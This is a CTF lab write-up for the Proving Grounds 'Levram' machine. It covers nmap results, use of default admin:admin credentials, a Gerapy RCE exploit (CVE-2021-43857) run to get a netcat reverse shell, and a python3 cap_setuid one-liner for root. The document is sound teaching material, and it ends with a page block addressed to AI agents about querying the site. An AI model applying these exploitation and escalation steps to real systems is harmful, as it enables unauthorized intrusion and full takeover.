# Proving grounds Play: Levram

Proving grounds Practice - Levram CTF writeup.

### Nmap

```
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9bc8f013f855df95cd9fbb615a01e74 (ECDSA)
|_  256 53d97f3d228afd5798fe6b1a4cac7967 (ED25519)
8000/tcp open  http-alt WSGIServer/0.2 CPython/3.10.6
|_http-title: Gerapy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Sat, 07 Oct 2023 11:16:52 GMT
|     Server: WSGIServer/0.2 CPython/3.10.6
|     Content-Type: text/html
|     Content-Length: 9979
|_    Vary: Origin
```

### 8000/tcp open http-alt WSGIServer/0.2 CPython/3.10.6

<http://192.168.211.24:8000/#/login>

![img](/files/1QPnWlC79FeN0kvOhuJL)

The application uses default credentials `admin:admin` and it is vulnerable to [Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)](https://www.exploit-db.com/exploits/50640).

> **Note:**
>
> If the application doesn't have any projects the exploit will throw an error, a project must exist for the exploit to work properly.

### Initial Foothold

Login to the application using the credentials and create a new project. Now run the exploit and ensure the netcat listener is running.

**Exploitation**

```sh
naveenj@hackerspace:|07:21|~/proving_grounds/Levram/exploit$ python2 exploit.py -t 192.168.211.24 -p 8000 -L 192.168.45.193 -P 4444
  ______     _______     ____   ___ ____  _       _  _  _____  ___ ____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |     | || ||___ / ( _ ) ___|___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \  / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__   _|__) | (_) |__) |/ /  
 \____|  \_/  |_____|   |_____|\___/_____|_|        |_||____/ \___/____//_/   
                                                                              

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL...
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
[*] Found project: test
[*] Getting the ID of the project to build the URL
('[*] Found ID of the project: ', 1)
[*] Setting up a netcat listener
listening on [any] 4444 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
```

**Reverse Shell Obtained**

```sh
naveenj@hackerspace:|07:20|~/proving_grounds/Levram/exploit$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.193] from (UNKNOWN) [192.168.211.24] 42252
bash: cannot set terminal process group (845): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$
```

**Initial Foothold Obtained**

### Privilege Escalation

Check the extended capabilities in the system.

```sh
app@ubuntu:~/gerapy$ getcap -r / 2/dev/null    #get the extended capabilites
/usr/bin/python3.10 cap_setuid=ep   #exploitable
```

#### Exploitation

```sh
app@ubuntu:/tmp$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
uid=0(root) gid=1000(app) groups=1000(app)
```

**Root Obtained**

### References

* <https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#exploitation-example>
* <https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/>

Thanks for reading!

For more updates and insights, follow me on Twitter: [@thevillagehacker](https://twitter.com/thevillagehackr).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://thevillagehacker-security.gitbook.io/ctf-writeups/writeups/2023-10-07-proving_grounds_practice-levram.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.